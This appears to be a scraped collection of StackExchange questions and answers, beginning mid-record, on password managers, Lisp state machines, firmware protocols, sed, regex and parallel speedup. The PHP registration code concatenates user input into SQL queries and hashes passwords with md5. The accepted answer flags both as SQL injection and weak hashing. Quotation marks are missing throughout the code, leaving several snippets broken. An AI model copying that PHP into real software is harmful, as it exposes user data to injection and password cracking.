c.move(ship_id2,  ship_spd, 0)elif event.keysym == P:may become shorter and more readable, too, if you will employ a dictionary for your four directions:directions = dict(Up=(0, -1), Down=(0, +1), Left=(-1, 0), Right=(1, 0))direction = event.keysym                       # for better readability only if  direction in directions:    x_fact, y_fact = directions[direction]     # unpacking tuple    cx = x_fact * ship_spd    cy = y_fact * ship_spd    c.move(ship_id,  cx, cy)    c.move(ship_id2, cx, cy)Note the construction of that dictionary (using keywords to avoid typing quotes).  "  } 
{  "id": "_codereview.114915"  , "question": "After almost completely redoing the first version I think I finally have it. I still have a few things to add/change, but I think it's pretty good and safe. I've improved security features as well as overall functionality.I haven't run this program through pycharm yet, so there might be a few PEP 8 errors. It took me a few weeks just trying to learn about cryptography (not an easy subject). For @GarethRees post, I really didn't even start on version 2 until I implemented some sort of encryption that worked perfectly on Version 1. I tried using gpg as he recommended, but could never figure it out. I even tried it again after figuring out how to use pycrypto.If there are any bugs just point them out you don't have to write a full review just whatever you think should be changed or added post it. I really appreciate feedback and will upvote all. If you want a .exe version just ask and I'll post a link. Hope everyone likes it.#Programmer: DeliriousSyntax#Date: 12-9-15#File: AccountKeeperV2.py#This program lets you store and create passwordsimport CustomFunctions as CFimport pyperclipimport randomimport shelveimport EcstaticCryptionimport string#Encrypting and Decrypting is done with pycryptoTask List:Hide key after hitting enterCreate a settings GUILet user continuously generate a password untill satisfiedWhen changing password let user pick a new random passwordUse string.punctuation in character list without messing up printingAdd Exclude similar characters optionLet user save settings without opening scriptclass main:    LOWER = True    UPPER = True    NUMBERS = True    SYMBOLS = True    COPY = True    File = Keeper.dat    template = ('\\n-  Account:  {}  '                '- Username:  {}  '                '-  Password:  {} '                ' -')    key = input('Key: ')    EC = EcstaticCryption.AESCipher(key)    @property    def CHARACTERS(self):        CHAR = []        if self.LOWER:CHAR.append(string.ascii_lowercase)        if self.UPPER:CHAR.append(string.ascii_uppercase)        if self.SYMBOLS:CHAR.append('!#$%&()*+,-.:;<=>?@[]^_`{|}~')        if self.NUMBERS:CHAR.append(string.digits)        return CHAR    def all_accounts(self):        with shelve.open(self.File) as f:            print('\\n')            for account in f:                print(account, end='  ')            print('\\n')    def all_users(self, account):        with shelve.open(self.File) as f:            print('\\n')            for user in f[account]:                print(user, end='  ')            print('\\n')    def check_account(self, account):        list_of_accounts = []        with shelve.open(self.File) as f:            if account in f:                return True            else:                return False    def check_username(self, account, username):        list_of_users = []        with shelve.open(self.File) as f:            try:                if username in f[account]:                    return True                else:                    pass            except KeyError:                pass            return False    def generate_password(self, digits_in_pass):        holder = []        for _ in range(digits_in_pass):            temp = random.SystemRandom().choice(self.CHARACTERS)            holder.append(random.SystemRandom().choice(temp))        return ''.join(holder)    def save_account(self, entry):        with shelve.open(self.File) as f:            try:                holder_account = f[entry[0]]            except KeyError:                holder_account = {}            holder_account[entry[1]] = entry            f[entry[0]] = holder_account    def new_account(self, log=True):        Creates a new random password        print('\\n')        account = input(Account: )        with shelve.open(self.File) as f:            while True:                username = input(Username: )                existing_username = self.check_username(account, username)                if not existing_username:                    break                print(This account already exists!)        password = input(Password (Type \\random\\ for random password): )        if password.lower() == 'random':            digits_in_pass = CF.valid_int(Length of password: )            password = self.generate_password(digits_in_pass)        encrypted_password = self.EC.encrypt(password)        entry = [account, username, encrypted_password]        self.save_account(entry)        if self.COPY:            pyperclip.copy(password)        if log:            print(self.template.format(entry[0], entry[1], password))    def print_account(self, account, username):        with shelve.open(self.File) as f:            entry = f[account][username]            password = self.EC.decrypt(entry[2])            print(self.template.format(entry[0], entry[1], password))            if self.COPY:                pyperclip.copy(password)    def change_username(self, account, username, log=True):        new_username = input('\\nEnter new username: \\n   ->')        with shelve.open(self.File) as f:            account_holder = f[account]            account_holder[new_username] = account_holder.pop(username)            account_holder[new_username][1] = new_username            f[account] = account_holder            if log:                entry = f[account][new_username]                password = self.EC.decrypt(entry[2])                print(self.template.format(entry[0], entry[1], password))    def change_password(self, account, username, log=True):        new_password = input('Enter new password: \\n   ->')        with shelve.open(self.File) as f:            f[account][username][2] = self.EC.encrypt(new_password)            if log:                entry = f[account][username]                print(self.template.format(entry[0], entry[1], new_password))    def delete_account(self, account, username):        confirmation = input(\\nType 'DELETE' to confirm deletion of this account...\\n   ->)        if confirmation.lower() == 'delete':            with shelve.open(self.File) as f:                account_holder = f[account]                try:                    del account_holder[username]                    f[account] = account_holder                    print('\\nAccount deleted...')                except KeyError:                    print('Error deleting account!')    def account_menu(self, account, username):        print(\\nAccount Found! What's next?\\n         1) Print account\\n         2) Change username\\n         3) Change password\\n         4) Delete account\\n         5) Cancel)        account_choice = input(   ->)        if account_choice == '1':            self.print_account(account, username)        elif account_choice == '2':            self.change_username(account, username)        elif account_choice == '3':            self.change_password(account, username)        elif account_choice == '4':            self.delete_account(account, username)        else:            pass    def find_account(self):        account = input('\\n\\nAccount: ')        while account == 'all accounts':            self.all_accounts()            account = input('Account: ')        existing_account = self.check_account(account)        if existing_account:            username = input('Username: ')            while username == 'all users':                self.all_users(account)                username = input('Username: ')            existing_user = self.check_username(account, username)            if existing_user:                self.account_menu(account, username)            else:                print('\\nWe could not find your account.')        else:            print('\\nCould not find any {} accounts.'.format(account))    def program_start(self):        MAIN        choice = None        while True:            print(\\n\\n\\nMenu:\\n                   1) Add an account\\n                   2) Search for an existing account\\n                   3) Exit)            choice = input(   ->)            if choice == 1:                self.new_account()            elif choice == 2:                self.find_account()            else:                breakif __name__ == '__main__':    print(Welcome to Account Keeper V2)    m = main()    m.program_start()"  , "title": "Outstanding password keeper w/ password generator"  , "tags": "python;python 3.x"  , "accepted_answer": "I've seen your question and would like to give you a full review, but haven't had the time yet. So now I decided to give you some of the recommendations, and then we'll see if I get the time to complete it or add to it later on.Move shelve handling to class level Instead of opening/closing the shelve all the time, I would suggest to let it follow the lifetime of the class, and add a sync method to the class. This would reduce the file operations, and you can keep the shelve open within the class.This would allow for all of the read access to be almost instant as the file is already read into memory (and the encrypted password should still be encrypted). And when doing changing password methods, you could trigger a sync, writing the shelve back to the file. Two links which might be helpful in doing this:Persistent dict with multiple standard file formats (Python recipe  Which provides some structural stuff related to you use of shelveSafely using destructors in Python Related to handling lifetime opening and closing of the shelve (in a slightly different context)A better class name main is a terrible name, you should choose a better name like PasswordHandler or AccountHandler. As already suggested I would move the shelve handling to the outer level, and possibly add a few class methods. I.e. a static class method to verify if a user has entered the correct password would be nice to have.Allow methods not to use input To improve the interface, I would change the methods allowing input to accept that input to be predefined as a parameter. I'll show some code for one of the functions which could accomplish this:def change_password(self, account, username, new_password=None, log=True):        if not new_password:            new_password = input('Enter new password: \\n   ->')        with shelve.open(self.File) as f:            f[account][username][2] = self.EC.encrypt(new_password)            if log:                entry = f[account][username]                print(self.template.format(entry[0], entry[1], new_password))This still uses the old code for the shelve handling, but you'll get the gist of the idea.Let methods return list, not do the actual output  Instead of letting your methods, like all_users, do the print, in general it's better to let the method returning the list of users for extra handling, i.e. printing or sorting before printing or whatever...Move class level code into __init__  Doing stuff like key = input(...) is very strange, and should be moved into a method of it's own, namely the __init__, which is automatically called whenever you create an instance of your class. There are some other minor aspects still not covered (neither in mine, nor the other answer which just came in), but these matters are some of the main issues I see in your code. "  } 
{  "id": "_cs.63484"  , "question": "I'm new to regular languages and I've been struggling to solve one for a while.The question is:If there exists a regular language L1 which has an alphabet {0,1},  prove that L2 is also a regular language if L2 comprises of strings x  where x = ABC where B is an element in L1 and A and C are strings  comprised of 0's and 1's.I intuitively believe that since we know L1 is a regular language, we know that any string of 0's and 1's is a regular language. Hence, L2 should be a regular language as it is comprised of only 0's and 1's (by definition). Apparently, this is the wrong approach. Can someone assist me in solving this problem? Thank you! EDIT:I realize my explanation was off. We know that L1 is a regular language composed of strings of 0 and 1, for example, 000111, 010101, could exist as elements in this language. If there are finite elements inside the language, then clearly by mutlipying it by two constant strings, we will get a finite output (hence regular). However, if it is not finite, that means it must have a regular expression that describes the language. Thus, any concatenation with two similar strings will still be that same regular expression with two constants added on top of it (hence still represented by a reg ex and thus a regular language).Where is my logic flawed? Thank you! "  , "title": "Prove a language is regular - Regular language of 0's and 1's"  , "tags": "formal languages;regular languages;closure properties"  } 
{  "id": "_codereview.4557"  , "question": "I have been making this FSM today. However, as this is probably the biggest practical program I have ever written in CL, I don't know if there are some things that could be improved, or if using a closure is the best thing here.Any feedback is appreciated.;;; States: -- EnterMineAndDigForNugget ;;;         -- QuenchThirst;;;         -- GoHomeAndSleepTillRested;;;         -- VisitBankAndDepositGold(defmacro while (test &rest body)    `(do ()             ((not ,test))         ,@body))(defmacro enter (state)    `(setf state ,state))(defun make-miner ()    (let ((wealth 0)                (thirst 0)                (rested 0)                (state 'EnterMineAndDigForNugget))        (list          (defun EnterMineAndDigForNugget ()                                                                                ;   (setf location 'mine)             (format t ~&Diggin' up gold!)             (incf wealth)             (incf thirst)             (cond ((>= thirst 7) (enter 'QuenchThirst))                         (t (enter 'VisitBankAndDepositGold))))         (defun QuenchThirst ()              (format t ~&Drinkin' old good whiskey)             (setf thirst 0)             (enter 'EnterMineAndDigForNugget))         (defun VisitBankAndDepositGold ()             (format t ~&All this gold ought to be stored somewhere!)             (incf wealth)             (cond ((>= wealth 5) (progn                                                             (format t ~&Too much gold for today, let's sleep!)                                                            (enter 'GoHomeAndSleepTillRested)                                                            (setf wealth 0)))                         (t (EnterMineAndDigForNugget))))         (defun GoHomeAndSleepTillRested ()             (while (<= rested 3)                 (format t ~&Sleepin')                 (incf rested))             (enter 'EnterMineAndDigForNugget)             (setf rested 0))         (defun controller ()             (dotimes (n 30)                 (cond ((equal state 'QuenchThirst) (QuenchThirst))                             ((equal state 'VisitBankAndDepositGold) (VisitBankAndDepositGold))                             ((equal state 'GoHomeAndSleepTillRested) (GoHomeAndSleepTillRested))                             ((equal state 'EnterMineAndDigForNugget) (EnterMineAndDigForNugget))))))))EDITI have applied all the suggested changes but for the flet/labels one. Everything worked fine until I changed the one of set the state to the next function. Now, the macro enter doesn't seem to be ever called.This is the current state of the code, with the required code to make it work;;; States: -- enter-mine-and-dig-for-nugget ;;;         -- quench-thirst;;;         -- go-home-and-sleep-till-rested;;;         -- visit-bank-and-deposit-gold(defmacro enter (state)    `(setf state ,state))(defun make-miner ()    (let ((wealth 0)                (thirst 0)                (rested 0)                (state #'enter-mine-and-dig-for-nugget))        (list          (defun enter-mine-and-dig-for-nugget ()             (format t ~&Diggin' up gold!)             (incf wealth)             (incf thirst)             (if (>= thirst 7)                     (enter #'quench-thirst)                 (enter #'visit-bank-and-deposit-gold)))     (defun quench-thirst ()          (format t ~&Drinkin' old good whiskey)         (setf thirst 0)         (enter #'enter-mine-and-dig-for-nugget))     (defun visit-bank-and-deposit-gold ()         (format t ~&All this gold ought to be stored somewhere!)         (incf wealth)         (if (>= wealth 5)                 (progn                      (format t ~&Too much gold for today, let's sleep!)                     (enter #'go-home-and-sleep-till-rested)                     (setf wealth 0))                 (enter #'enter-mine-and-dig-for-nugget)))     (defun go-home-and-sleep-till-rested ()         (dotimes (i 4)             (format t ~&Sleepin'))         (enter #'enter-mine-and-dig-for-nugget))     (defun controller ()         (dotimes (n 30)             (funcall state))))))(let ((a (make-miner)))    (funcall (fifth a)))"  , "title": "Finite State Machine code"  , "tags": "lisp;common lisp"  , "accepted_answer": "DEFUNThe most basic mistake in your code is that DEFUN is not correct for nested functions. DEFUN is a top-level macro, defining a top-level function and should be used in top-level forms.Nested functions are defined in Common Lisp with FLET and LABELS. LABELS is used for recursive sub-functions.NamingSymbols like FooBarBaz are not use in Common Lisp. By default Common Lisp upcases all names internally, so the case information gets lost.Usually we write foo-bar-baz.Checking symbolsUse CASE (or ECASE) instead of (cond ((equal foo 'bar) ...)).ArchitectureUsually I would write that piece of code using CLOS, the Common Lisp Object System.In a more functional style I would propose the following:use LABELS for the local procedures.set the state to the next function. A function is written as (function my-function) or #'my-function.the controller just calls the next function from the state variable. It is not necessary to list all cases."  } 
{  "id": "_softwareengineering.246322"  , "question": "I'm working on an app which talks to a bluetooth low energy (BLE) device and exchanges customized data with it. Our team has defined the data models and there's a method that will parse the data payload and assign values to the corresponding characteristics. It works all fine until we have introduced a new firmware.In this new firmware some values in the data payload have been re-defined or the offset of a specific value has been changed. So the parsing method will need to be updated/re-written according to the new payload definition. Then here comes the problem: both two versions of the firmware need to be supported! Of course I could write a lot of if/else in the parsing method right now, but what happend if 3 other firmware updates arrive one after other? I can imagine the code will become hard to read and lose it's simplicity. I'm wondering if there's an elegant way to manage the co-existence of firmware versions. Maybe a design pattern that can be adopted here?To make it more specific:In my model class Temperature I've the following properties:@property (nonatomic, readonly) float temp_outside;@property (nonatomic, readonly) float temp_inside;The library has to support 3 different firmware versions:V1 does only support temp_outsideV2 does support temp_outside and temp_insideV3 does support temp_outside and temp_inside, but temp_inside has to be obtained differently compared to V1 & V2Assuming the firmware provides their information within the manufacturer data of the advertisings as raw data:V1 firmware: 00 42 0a(byte 1: sw id, byte 2: protocol id, byte 3: temp_outside)V2 firmware: 00 43 0a 10(byte 1: sw id, byte 2: protocol id, byte 3: temp_outside, byte 4: temp_inside)V3 firmware: 00 44 10 0a(byte 1: sw id, byte 2: protocol id, byte 3: temp_inside, byte 4: temp_outside)What is the best way to implement this? There are several things to consider:The model has values which might not be filled by a specific firmware; should I have separate models per firmware or how can I make sure that only supported properties will be accessed?The method responsible for parsing the bytes into the model has to support all firmwares. Should there be one method / parser with several conditions based on the protocol id or several parser classes?The usage of the library within view controllers should be as convenient as possible."  , "title": "How to support multiple firmware versions?"  , "tags": "design"  , "accepted_answer": "Your problem isn't so much that you need to support different firmware versions, but rather that all these firmware versions use slightly different protocols to communicate.If you have any influence on the protocol used by the device's firmware, you should aim for a protocol that is both backwards and forwards compatible, so that a newer sender can communicate with an older receiver and vice versa.For the protocol versions that you already have, you can use the Strategy pattern, where you have a parser for each protocol version as a strategy and you select the right parser based on the identification fields in each message (or in the first message).Inside your Model classes (and your Views), you should plan for the possibility that not all properties are guaranteed to be available. The two ways to handle this is to have a secondary boolean property/method for each property to indicate if the value is available, or to use a special, out-of-bounds marker value to indicate the value is not available."  } 
{  "id": "_datascience.17223"  , "question": "Hi guys I'm very new to data science,I have intermediate background on programming and have used Pentaho Data Integration tool once for DB migration & data cleansing. Let's say I have this kind of data:item_details, timestampWooden chairs, 01-07-2017Plastic chairs, 02-07-2017Stainless table, 11-07-2017Decorated window, 12-07-2017and so onI want to know based on monthly time frame  what are the top trending items in that month. Let's say in January the top 3 item is:1. Table2. Chairs3. WindowIn February :1. Door2. Chair3. Cupboard.. And so onHow can I achive this and using what kind of tool? (preferably free or open source tools, can be GUI based or script library, having a visualization or  dashboard is a plus) Thanks for the help. Sorry for noob questions"  , "title": "How to extract most occuring words based on month & what tool to use?"  , "tags": "tools"  , "accepted_answer": "If you are new to data science and data munging, this could be kind of a tricky task, but a good one to get your feet wet.  Many programming languages have the capability to do this (R, Python, Matlab, etc.).  I use R primarily, so I'll give you a brief heuristic for how I'd approach the task in R.  Perhaps looking into these steps will get you started.Install RInstall some packages that will help you along ('tm' for text mining,'dplyr' for cleaning/organizing your data, and perhaps also 'lubridate' for working with dates/times)Read in your data from your source, be it a text file, spreadsheet, or some database (if a database, you'll have to conquer connecting R to said database too)You want to do a word frequency analysis for each month. How you accomplish this will depend on how the data is organized, which I do not know, but it would involve first rounding all your dates to month (using lubridate's 'floor_date()' function is one way), then parsing the text for each month into a corpus that can be analyzed (using package tm).Finally, for each month I would make a table counting words, sorting by frequency.  That would give you, for each month, the top 'trending' words. To discount words like 'the' and 'a', I might also use some of the tools in the 'tm' package to clean things up.Note that in #5 I said 'words', not 'terms'.  If you want to account for terms consisting of > 1 words, you'll have to 'tokenize' them, but that's beyond the scope of this very brief intro.As with many data science tasks, there are many ways to attack this; the above is but one of many possibilities.Hope that helps."  } 
{  "id": "_webapps.10109"  , "question": "What is the point of the Google Mail app by Google on the Web App Store? by default it opens in a normal tab, has the address bar etc visible and is basically just a big bookmark on the new tab page. Or am I missing something?What advantage is there to using a web app than just have a bookmark on the bookmark bar? "  , "title": "Advantage of Google Mail App"  , "tags": "gmail;google chrome"  , "accepted_answer": "There are no advantages, it's essentially just a link.Mainly it's so you have your mail link with the other apps you use in Chrome."  } 
{  "id": "_unix.366727"  , "question": "I have a shared library compiled with -g -O0 including:void MyClass::whatever(){  ...  doSomething(myImage, myPoints);  ...}bool MyClass::doSomething(const Image& image, std::vector<cv::Vec2f>& points) const{   const int32_t foo = 1;  const float   bar = 0.1f;  ...}Now I'm stepping through whatever() with s, but it doesn't step into doSomething(), but over it. It's not a matter of source availability, because (1) it's in the same file and (2) I can set a breakpoint in doSomething() and step there through the sources with no problem. But s seems to believe that there is no source available.If I set step-mode on, I get output like0xb5d51148 in myClass::doSomething (this=0xb25e4, image=..., points=std::vector of length -91315, capacity 372871920 = {...})from /path/to/myclass.solike you get when there is no source available. After a couple of n the foo initialization is displayed with source.So there could be some inline magic from my parameter (an opencv type, release build) put at the beginning of the function. Is it possible that gdb sees this stuff, thinks weird stuff, let's continue after this function and doesn't find that there is really source availible for most of the function?(If should matter, it's compiled with LLVM/clang 3.5 on an ARM box with Ubuntu)"  , "title": "gdb doesn't step into function although source is available"  , "tags": "debugging;gdb;clang"  } 
{  "id": "_softwareengineering.284884"  , "question": "As I understand, GPL allows use of a GPL program along with a proprietary program as long as they are separate programs and communicate at arms length.In order to do this, if I spawn a process from my commercial android app which would only contain the gpl code and communicate with the main process via sockets,would this violate the GPL? If so, is there any other way to use a gpl program (or code) in a commercial android app?Relevant portions of gpl-faq:http://www.gnu.org/licenses/gpl-faq.html#GPLInProprietarySystemhttp://www.gnu.org/licenses/gpl-faq.html#MereAggregationthank you,"  , "title": "Use GPL code in commercial android app by spawning a separate process"  , "tags": "licensing;gpl;android"  } 
{  "id": "_unix.212235"  , "question": "I need to print the data starting from the line that matches Data after AB process=1234 (full 10): till end of the file. Could you help please.I tried putting the data in a variable called value and using sed as below. However, it gives an error extra characters at the end of D command.value=Data after AB process=1234 (full 10):sed -n ' '$value' ' p datasourcefile.log"  , "title": "sed and string of data"  , "tags": "sed"  , "accepted_answer": "sed -n '/Data after AB process=1234 (full 10):/,$p' fileorvalue='Data after AB process=1234 (full 10):'sed -n '/'${value}'/,$p' fileTake a look at: Difference between single and double quotes in bash"  } 
{  "id": "_unix.308994"  , "question": "Kali 2016.2 in Qemu:/usr/bin/qemu-system-x86_64  -boot d -m 5000 --enable-kvm -cdrom kali-linux-2016.2-amd64.iso I'm trying to list root dir:# /usr/bin/dconf list /org/But dconf-editor shows me five dirs: apps, ca, desktop, org and system.Moreover, full dump:# /usr/bin/dconf dump /does not match GUI version...Taking look at compilations:# ldd `which dconf` | awk '{print $1}' | while read i;do echo; echo $i;ldd /usr/bin/dconf-editor | grep $i;doneEverything matches. Both of applications compiled against the same set of libraries. Moreover, dconf-editor must be just a GUI, it must use dconf as a call inside. Why it is different? Is it retard of development? As I can read from License field, it was Canonical couple of years ago, but now it is one man. Canonical sucked every juices from project and lived it alone...And how can I list from console/terminal this fields of dconf-editor(GUI) which are not visible in dconf??"  , "title": "Why does dconf differ from dconf-editor?"  , "tags": "kali linux;xdg;dconf"  } 
{  "id": "_codereview.140335"  , "question": "I created this regex in Javascript that returns a boolean for Domain validation that meets the criteria to allow IP addresses and ascii domain name. The assumption is that the TLD should be atleast two letters./^((([0-9]{1,3}\\.){3}[0-9]{1,3})|(([a-zA-Z0-9]+(([\\-]?[a-zA-Z0-9]+)*\\.)+)*[a-zA-Z]{2,}))$/I used the following Javascript to test the regex:var func = function(val) { return /^((([0-9]{1,3}\\.){3}[0-9]{1,3})|(([a-zA-Z0-9]+(([\\-]?[a-zA-Z0-9]+)*\\.)+)*[a-zA-Z]{2,}))$/.test(val);}It works correctly:   func('192.168.1.1') //return true;    func('a-a.com')     //returns true;   func('aa.com')      //returns true;   func('aa.cc')       //returns true;   func('aa.c')        //returns false;I have basic knowledge of regex's and hence seeing if there anyway to optimize it."  , "title": "Regex for domain validation name validation"  , "tags": "javascript;regex"  } 
{  "id": "_cs.43461"  , "question": "In most statically typed languages, each expression has an intrinsic type. E.g. in Java, 3 is an int, 3.0 is a double, 3+3.0 is also a double. Types do not depend on the context of the expression.However, in the CSS type system described in the spec, some expressions have a type depending on the context. For example, the red token can be a <color>, a <custom-ident>, or an <attr-name>, depending on the context in which it is used.I want to build a type system for a CSS-based programming langauge. In this type system, I want to use a typing strategy that does not go from the bottom up (starting from the leaves in the AST), but top down (starting from the root of the AST).For example, when the compiler needs to derive that the linear(red, yellow) expression inhabits the <bg-image> type, it would do the following derivation:we want to derive that  linear(red, yellow) :: <bg-image>   <bg-image> is defined as <url> | linear(<color>, <color>), so  linear(red, yellow) :: <url> | linear(<color>, <color>)let us try the second branch  linear(red, yellow) :: linear(<color>, <color>)let us check sub-expressions  red :: <color>  yellow :: <color>everything fine, OKCan you point me to scholarly articles where this kind of typing strategy is discussed?P.s. I don't know of other languages where a type of the expression depends on the context, except for Perl. In Perl, (a,b) can be interpreted as either a list or an integer (its length), depending on the context:print (a,b) # => abprint 0+(a,b) # => 2"  , "title": "Top-down typing strategy - is there a name for this?"  , "tags": "programming languages;compilers;type theory;type inference;language design"  } 
{  "id": "_unix.226906"  , "question": "I just searched on this page, but the answer does not meet my idea. My idea is when user called Bob access ssh and run a command, for example sudo apt-get update, then the bash sheell will respond with sudo: command not found. How to make this happen instead of using lsh (limited shell)?"  , "title": "Restrict bash command for specific user"  , "tags": "bash;ssh"  , "accepted_answer": "Basically, you are talking about a chroot environment, when a user or group meets some usage restrictions by having only specific binaries and configs in their directory root level. It is possible to configure sshd to do that./etc/ssh/sshd_config options:Match user john          ChrootDirectory /var/john/Put /bin, /etc, /sbin, /usr and other required elements to their chroot directories and here you are.Take a look at this article, it may help as well."  } 
{  "id": "_cs.70788"  , "question": "There is a question I'm trying to do however it doesn't match with the answer given and I can't seem to understand why this would be the case. I feel like I haven't completely understood something.Question: Let y be the percentage of a program code which can be executed simultaneously by n processors in a computer system. Assume that the remaining code must be executed sequentially by a single processor. Each processor has an execution rate of x MIPS, and all processors are equally capable. All overheads are neglected.Derive an expression for the effective MIPS rate when using the system for exclusive execution of this program in terms of parameters y,x and n.My attempt: Speedup by n processors is simply n. (Ideal case, no hazards etc)Amdahl's law: Speedup $= \\frac{1}{(1-y)n+\\frac{y}{n}}$MIPS rate = $\\frac{No. of instructions}{(10^6 * Total time for execution)}$Time taken by 1 processor(T1) $$= \\frac{(nT1)}{(1-y)n+y}$$Time taken by n processors = Time taken by 1 processor * Speedup $$= \\frac{(nT1)}{(1-y)n+y}$$Effective MIPS rate thus: $$= \\frac{(No. of instructions)}{(10^6)(T)}$$$$= \\frac{x((1-y)n+y)}{n}$$Given answer is:Effective MIPS $$= x(ny-y+1)$$"  , "title": "Effective MIPS rate using Amdahl's law"  , "tags": "computer architecture;parallel computing;performance"  } 
{  "id": "_cogsci.985"  , "question": "Computational learning theory (CoLT) is a branch of theoretical computer science associated with the mathematical analysis of machine learning. A lot of the early ideas of the field take inspiration from human learning. The field has developed into a very rigorous, mathematical, and precise science, but I have not seen it used much in the cognitive sciences directly. There is some indirect use through CoLT's interaction with statistics and machine learning algorithms (say, analyzing neural networks through VC-dimension).Are there examples of rigorous uses/applications of CoLT to build theories in psychology, neuroscience, and/or cognitive science?Notes:The only two examples I am familiar with are:Gold's theorem on the unlearnability in the limit of certain sets of languages, among them context-free ones.Ronald de Wolf's master's thesis on the impossibility to PAC-learn context-free languages.The first made quiet a stir in the poverty-of-the-stimulus debate, and the second has been unnoticed by cognitive science.I am interested in approaches of this flavor. I am relatively comfortable with CoLT as it is studied in mathematics, and am only interested (for this question) in approaches that have direct bearing on theories of human/animal cognition/learning, and not classic machine learning results. I am looking for general mathematical and asymptotic approaches, not the running of specific types of algorithms (be it neural-nets, bayesian, or otherwise) to simulate human performance as is typical in computational modeling in cogsci (which I am relatively familiar with).I am not interested in arguments that try to trivially undercut the whole approach, even if they have empirical validity. For instance, the whole approach can be derailed by asserting that human brains are finite and thus asymptotic arguments are useless. This is the same as arguing that all of computational complexity theory is pointless because computers (and the whole universe, for that matter) are finite. It is a valid empirical argument, but boring from the point of view of theory building.Related questions:General mathematical frameworks of language acquisition since Gold on ling.SEWhat is the complexity class most closely associated with what the human mind can accomplish quickly? on cstheory.SE"  , "title": "Applications of computational learning theory in the cognitive sciences"  , "tags": "learning;computational modeling;mathematical psychology;theoretical neuroscience"  } 
{  "id": "_cs.42128"  , "question": "I understand what a multilayer neural network is, but what about them allows them to solve non-linear problems unlike perceptrons? Is it the fact that they can extend to any number of outputs/hidden layers? Or is it another feature?"  , "title": "Why can Multilayer neural networks solve non-linear problems"  , "tags": "artificial intelligence;neural networks;intuition"  } 
{  "id": "_codereview.126313"  , "question": "I have been developing a simple login registration page with PHP using the repository pattern. Following are the business rules :During registrationEmail must be unique.Email must be a valid email address.User table columns:id, name, username, password, created_at, updated_atregister.php pageif($_POST){    try{        $input['name'] = $_POST['name'];        $input['email'] = $_POST['email'];        $input['username'] = $_POST['username'];        $input['password'] = $_POST['password'];        $user_register_obj = new UserRegister(new UserInfoRepository());        $user_register_obj->register($input);        header('Location: login.php');        exit();    }    catch(CustomException $e)    {        var_dump($e->getCustomMessage());    }}?>Following is the userinfo interface: This is for the user table.IUserInfo.phpinterface IUserInfo {    public function getId();    public function getName();    public function getEmail();    public function getUserName();    public function getCreatedAt();    public function getUpdatedAt();    public function getPassword();}User.php file :class User implements IUserInfo{    private $id;    private $name;    private $email;    private $username;    private $created_at;    private $updated_at;    private $password;    public function __construct($id,                                $name,                                $email,                                $username,                                $created_at,                                $updated_at,                                $password)    {        $this->id = $id;        $this->name = $name;        $this->email = $email;        $this->username = $username;        $this->created_at = $created_at;        $this->updated_at = $updated_at;        $this->password = $password;    }    public function getEmail()    {       return $this->email;    }    public function getId()    {        return $this->id;    }    public function getName()    {        return $this->name;    }    public function getUserName()    {        return $this->username;    }    public function getCreatedAt()    {        return $this->created_at;    }    public function getUpdatedAt()    {        return $this->updated_at;    }    public function getPassword()    {        return $this->password;    }}UserInfoRepository :interface IUserInfoRepository {    public function getById($id);    public function getByEmail($email);    public function getAll();    public function insert($input);    public function update($id, $input);    public function delete($id);}This is the repository class for userinfo :class UserInfoRepository implements IUserInfoRepository{    private $table = 'users';    private $db_obj;    public function __construct()    {        $this->db_obj = new \\DatabaseHandler\\Database();    }    public function getById($id)    {        $query = 'select * from users where id = ' . $id;        return $this->db_obj->GetOneRow($query);    }    public function getAll()    {        // TODO: Implement getAll() method.    }    public function getByEmail($email)    {        $query = select * from user where email = '$email';        $obj = $this->db_obj->GetOneRow($query);        if(!$obj)        {            return null;        }        else        {            return new User($obj['id'], $obj['name'], $obj['email'], $obj['username'], $obj['created_at'], $obj['updated_at'], $obj['password']);        }    }    public function insert($input)    {        $name = $input['name'];        $email = $input['email'];        $username = $input['username'];        $password = md5($input['password']);        $query = insert into user (name, email, username, password) values ('$name', '$email', '$username', '$password' );        return $this->db_obj->InsertAndGetId($query);    }    public function update($id, $input)    {        // TODO: Implement update() method.    }    public function delete($id)    {        // TODO: Implement delete() method.    }}UserRegister class :class UserRegister {    private  $userRepo;    public function __construct(\\IUserInfoRepository $userRepo)    {        $this->userRepo = $userRepo;    }    public function register($input)    {        $email = $input['email'];        $result = filter_var( $email , FILTER_VALIDATE_EMAIL );        if(!$result)            throw new \\CustomException(Invalid Email);        $obj = $this->userRepo->getByEmail($email);        if(!is_null($obj))            throw new \\CustomException(Email already found);        $this->userRepo->insert($input);        return true;    }}Please ignore the database handler Database right now. That class seems fine and I am not posting it as it may make it more complex. Can you please review my code design ? I will accept answer in any languages."  , "title": "User registration with Repository pattern"  , "tags": "php;object oriented;repository"  , "accepted_answer": "SecuritySQL InjectionYou are (very likely) open to SQL injection, as you put user input directly into SQL queries. You need to use prepared statements instead. This goes for all statements (select, insert, ...).HashingYou also have to use a proper password hashing function. md5 hasn't been acceptable for at least 15 years. Use password_hash instead. MiscStructureyour interfaces are unneeded, as they are unlikely to be used in different situations. Your IUserInfoRepository may work as a generic IRepository though, as likely other objects need to be selected, inserted, etc. Your IUserInfo interface could partly work as an IBaseObject interface which contains getId and possibly getCreatedAtand getUpdatedAt (if these are values that you store for all objects).Your getById function returns an array, while your getByEmail function returns a User. This should be handled the same way.  You should pass on the specific required fields to insert, not just some input array. Arrays are bad for usability, as a user of your class would need to read the documentation, or in your case - as you don't have any - actually look at the code.Otheradd PHPDoc style comments to your functions to explain what the arguments need to be, what the return values are, etc.I would throw an exception if an email doesn't exist instead of returning null, to avoid excessive null checks.always use curly bracketsyou don't need one-time variables such as $email = $input['email'];.upper-case your SQL keywords to increase readabilitybe less generic with your variable names. obj could be userData, query could be userSelectQuery, etc."  } 
{  "id": "_datascience.2275"  , "question": "Automated Time Series Forecasting for Biosurveillancein the above paper, page 4, two models, non-adaptive regression model, adaptive regression model, the non-adaptive regression model's parameter estimation method is least squares, what is the parameter estimation for the adaptive regression model? is there any package in R to do parameter estimation for this kind of adaptive regression model? If I add more predictors in the adaptive regression model, can R still solve it? and how?"  , "title": "What are the parameter estimation methods for the two methods in this paper?"  , "tags": "r;statistics"  } 
